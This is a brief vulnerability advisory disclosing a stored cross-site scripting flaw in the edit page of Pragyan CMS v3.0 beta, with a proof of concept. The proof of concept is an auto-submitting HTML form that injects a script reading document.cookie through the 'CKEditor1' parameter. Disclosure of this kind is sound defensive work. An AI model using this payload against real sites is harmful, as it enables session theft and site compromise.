Vulnerability ID: HTB22856 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pragyan_cms_1.html Product: Pragyan CMS Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ ) Vulnerable Version: v.3.0 beta Vendor Notification: 17 February 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
The vulnerability exists due to failure in the edit page to properly sanitize user-supplied input in "CKEditor1" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/?page=/MY_PAGE_URL/&action=edit" method="post" name="main"> <input type="hidden" name="CKEditor1" value='page content"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script>